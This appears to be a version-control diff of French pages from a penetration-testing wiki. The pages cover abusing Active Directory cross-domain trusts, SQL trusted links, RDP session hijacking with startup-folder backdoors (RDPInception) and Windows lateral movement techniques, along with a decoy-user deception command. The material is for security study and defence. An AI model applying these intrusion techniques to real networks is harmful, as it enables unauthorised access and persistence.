Dans ce scénario, **votre domaine** **fait confiance** à certains **privilèges** d'un principal d'un **domaine différent**.
Dans ce scénario, **votre domaine** **fait confiance** à certains **privilèges** d'un principal provenant de **domaines différents**.
Cependant, lorsqu'un **domaine est approuvé** par le domaine de confiance, le domaine approuvé **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le mot de passe approuvé**. Ce qui signifie qu'il est possible d'**accéder à un utilisateur du domaine de confiance pour entrer dans le domaine approuvé** afin de l'énumérer et d'essayer d'escalader plus de privilèges :
Cependant, lorsqu'un **domaine est de confiance** par le domaine de confiance, le domaine de confiance **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le mot de passe de confiance**. Ce qui signifie qu'il est possible d'**accéder à un utilisateur du domaine de confiance pour entrer dans le domaine de confiance** afin de l'énumérer et d'essayer d'escalader plus de privilèges :
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Une autre façon de compromettre le domaine approuvé est de trouver un [**lien SQL de confiance**](abusing-ad-mssql.md#mssql-trusted-links) créé dans la **direction opposée** de la confiance de domaine (ce qui n'est pas très courant).
Une autre façon de compromettre le domaine de confiance est de trouver un [**lien SQL de confiance**](abusing-ad-mssql.md#mssql-trusted-links) créé dans la **direction opposée** de la confiance de domaine (ce qui n'est pas très courant).
Une autre façon de compromettre le domaine approuvé est d'attendre sur une machine où un **utilisateur du domaine approuvé peut accéder** pour se connecter via **RDP**. Ensuite, l'attaquant pourrait injecter du code dans le processus de session RDP et **accéder au domaine d'origine de la victime** à partir de là.\
Une autre façon de compromettre le domaine de confiance est d'attendre sur une machine où un **utilisateur du domaine de confiance peut accéder** pour se connecter via **RDP**. Ensuite, l'attaquant pourrait injecter du code dans le processus de session RDP et **accéder au domaine d'origine de la victime** à partir de là.\
De plus, si la **victime a monté son disque dur**, à partir du processus de session **RDP**, l'attaquant pourrait stocker des **backdoors** dans le **dossier de démarrage du disque dur**. Cette technique s'appelle **RDPInception.**
{{#ref}}
@ -671,7 +671,7 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
## Quelques Défenses Générales
@ -686,7 +686,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **Mise en Œuvre de Techniques de Tromperie**
- La mise en œuvre de la tromperie implique de poser des pièges, comme des utilisateurs ou des ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou sont marqués comme de confiance pour la délégation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes de haute privilège.
- La mise en œuvre de la tromperie implique de mettre en place des pièges, comme des utilisateurs ou des ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou sont marqués comme de confiance pour la délégation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes de haute privilège.
- Un exemple pratique implique l'utilisation d'outils comme : `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Plus d'informations sur le déploiement de techniques de tromperie peuvent être trouvées sur [Deploy-Deception sur GitHub](https://github.com/samratashok/Deploy-Deception).

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Il existe différentes manières d'exécuter des commandes dans des systèmes externes, ici vous pouvez trouver les explications sur le fonctionnement des principales techniques de mouvement latéral sur Windows :
Il existe différentes manières d'exécuter des commandes dans des systèmes externes, ici vous pouvez trouver les explications sur le fonctionnement des principales techniques de mouvement latéral Windows :
- [**PsExec**](psexec-and-winexec.md)
- [**SmbExec**](smbexec.md)
@ -10,8 +10,8 @@ Il existe différentes manières d'exécuter des commandes dans des systèmes ex
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
{{#include ../../banners/hacktricks-training.md}}